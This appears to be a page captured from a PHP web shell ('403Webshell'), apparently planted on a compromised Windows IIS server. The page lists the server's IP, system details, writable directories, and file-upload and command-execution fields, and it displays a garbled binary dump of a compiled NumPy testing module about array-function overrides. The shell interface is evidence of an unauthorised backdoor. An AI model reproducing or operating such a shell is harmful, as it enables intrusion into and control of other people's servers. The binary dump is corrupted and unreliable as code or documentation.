403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/numpy/testing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/numpy/testing/__pycache__/overrides.cpython-312.pyc
�

	�g���J�dZddlmZddlmZddlmcm	Z
d�Zd�Zd�Z
d�Zy)	zNTools for testing implementations of __array_function__ and ufunc overrides


�)�ARRAY_FUNCTIONS)�ufuncNc��tjj�D�chc]}t|t�r|��}}|Scc}w)z�List all numpy ufuncs overridable via `__array_ufunc__`

    Parameters
    ----------
    None

    Returns
    -------
    set
        A set containing all overridable ufuncs in the public numpy API.
    )�_umath�__dict__�values�
isinstance�_ufunc)�obj�ufuncss  �9C:\Python312\Lib\site-packages\numpy/testing/overrides.py�get_overridable_numpy_ufuncsr
sA��$�_�_�3�3�5�*�c��C��(��*�F�*��M��*s�>c�"�t|t�S)a�Determine if a function can be overridden via `__array_ufunc__`

    Parameters
    ----------
    func : callable
        Function that may be overridable via `__array_ufunc__`

    Returns
    -------
    bool
        `True` if `func` is overridable via `__array_ufunc__` and
        `False` otherwise.

    Notes
    -----
    This function is equivalent to ``isinstance(func, np.ufunc)`` and
    will work correctly for ufuncs defined outside of Numpy.

    )r	r
��funcs r
�allows_array_ufunc_overriders��(�d�F�#�#�c�6�ddlm}tj�S)aList all numpy functions overridable via `__array_function__`

    Parameters
    ----------
    None

    Returns
    -------
    set
        A set containing all functions in the public numpy API that are
        overridable via `__array_function__`.

    r��recfunctions)�	numpy.libr�_array_functions�copyrs r
�%get_overridable_numpy_array_functionsr2s�� '�� � �"�"rc��|tvS)ahDetermine if a Numpy function can be overridden via `__array_function__`

    Parameters
    ----------
    func : callable
        Function that may be overridable via `__array_function__`

    Returns
    -------
    bool
        `True` if `func` is a function in the Numpy API that is
        overridable via `__array_function__` and `False` otherwise.
    )rrs r
�allows_array_function_overriderEs���#�#�#r)�__doc__�numpy._core.overridesrr�numpyrr
�numpy._core.umath�_core�umathrrrrr�rr
�<module>r$s-���
F�!�"�"��"$�.#�&$r

Youez - 2016 - github.com/yon3zu
LinuXploit